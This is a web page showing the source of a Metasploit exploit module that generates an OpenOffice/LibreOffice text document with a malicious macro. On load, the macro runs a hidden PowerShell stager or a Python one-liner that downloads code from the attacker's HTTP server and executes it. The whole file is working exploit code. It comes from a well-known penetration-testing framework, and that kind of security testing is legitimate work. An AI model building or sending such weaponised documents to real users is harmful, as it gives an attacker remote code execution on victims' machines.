CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/openoffice_document_macro.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
require 'cgi'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::FILEFORMAT
13
include Msf::Exploit::Powershell
14
include Msf::Exploit::Remote::HttpServer
15
16
WINDOWSGUI = 'windows'
17
OSXGUI = 'osx'
18
LINUXGUI = 'linux'
19
20
def initialize(info={})
21
super(update_info(info,
22
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
23
'Description' => %q{
24
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
25
To exploit successfully, the targeted user must adjust the security level in Macro
26
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
27
to enable or disable the macro. If set to Low, the macro can automatically run without
28
any warning.
29
30
The module also works against LibreOffice.
31
},
32
'License' => MSF_LICENSE,
33
'Author' =>
34
[
35
'sinn3r' # Metasploit
36
],
37
'References' =>
38
[
39
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
40
],
41
'DefaultOptions' =>
42
{
43
'EXITFUNC' => 'thread',
44
'DisablePayloadHandler' => false
45
},
46
'Targets' =>
47
[
48
[
49
'Apache OpenOffice on Windows (PSH)', {
50
'Platform' => 'win',
51
'Arch' => [ARCH_X86, ARCH_X64]
52
}],
53
[
54
'Apache OpenOffice on Linux/OSX (Python)', {
55
'Platform' => 'python',
56
'Arch' => ARCH_PYTHON
57
}]
58
],
59
'Privileged' => false,
60
'DisclosureDate' => '2017-02-08'
61
))
62
63
register_options([
64
OptString.new("BODY", [false, 'The message for the document body', '']),
65
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
66
])
67
end
68
69
70
def on_request_uri(cli, req)
71
print_status("Sending payload")
72
73
if target.name =~ /PSH/
74
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
75
else
76
p = payload.encoded
77
end
78
79
send_response(cli, p, 'Content-Type' => 'application/octet-stream')
80
end
81
82
83
def primer
84
print_status("Generating our odt file for #{target.name}...")
85
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
86
docm = package_odt(path)
87
file_create(docm)
88
end
89
90
91
def get_windows_stager
92
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
93
end
94
95
96
def get_unix_stager
97
%Q|Shell("#{generate_python_stager}")|
98
end
99
100
101
def generate_psh_stager
102
@windows_psh_stager ||= lambda {
103
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
104
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
105
download_and_run = "#{ignore_cert}#{download_string}"
106
generate_psh_command_line(
107
noprofile: true,
108
windowstyle: 'hidden',
109
command: download_and_run)
110
}.call
111
end
112
113
114
def generate_python_stager
115
@python_stager ||= lambda {
116
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
117
}.call
118
end
119
120
121
def get_statger
122
case target.name
123
when /PSH/
124
get_windows_stager
125
when /Python/
126
get_unix_stager
127
end
128
end
129
130
131
# This macro code has the following in mind:
132
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
133
# we only want to fire at those.
134
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
135
# This turned out to be problematic, because for some reason OpenOffice is not able to
136
# write a large string to a file (I've tried either shell("echo") or using the macro API).
137
# The stager code is similar to web_delivery.
138
def macro_code
139
CGI.escapeHTML(%Q|
140
Sub OnLoad
141
Dim os as string
142
os = GetOS
143
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
144
Exploit
145
end If
146
End Sub
147
148
Sub Exploit
149
#{get_statger}
150
End Sub
151
152
Function GetOS() as string
153
select case getGUIType
154
case 1:
155
GetOS = "#{WINDOWSGUI}"
156
case 3:
157
GetOS = "#{OSXGUI}"
158
case 4:
159
GetOS = "#{LINUXGUI}"
160
end select
161
End Function
162
163
Function GetExtName() as string
164
select case GetOS
165
case "#{WINDOWSGUI}"
166
GetFileName = "exe"
167
case else
168
GetFileName = "bin"
169
end select
170
End Function
171
|)
172
end
173
174
def on_file_read(short_fname, full_fname)
175
buf = File.read(full_fname)
176
177
case short_fname
178
when /content\.xml/
179
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
180
when /Module1\.xml/
181
buf.gsub!(/CODEGOESHERE/, macro_code)
182
end
183
184
yield short_fname, buf
185
end
186
187
188
def package_odt(path)
189
zip = Rex::Zip::Archive.new
190
191
Dir["#{path}/**/**"].each do |file|
192
p = file.sub(path+'/','')
193
194
if File.directory?(file)
195
print_status("Packaging directory: #{file}")
196
zip.add_file(p)
197
else
198
on_file_read(p, file) do |fname, buf|
199
print_status("Packaging file: #{fname}")
200
zip.add_file(fname, buf)
201
end
202
end
203
end
204
205
zip.pack
206
end
207
208
209
def exploit
210
super
211
end
212
end
213
214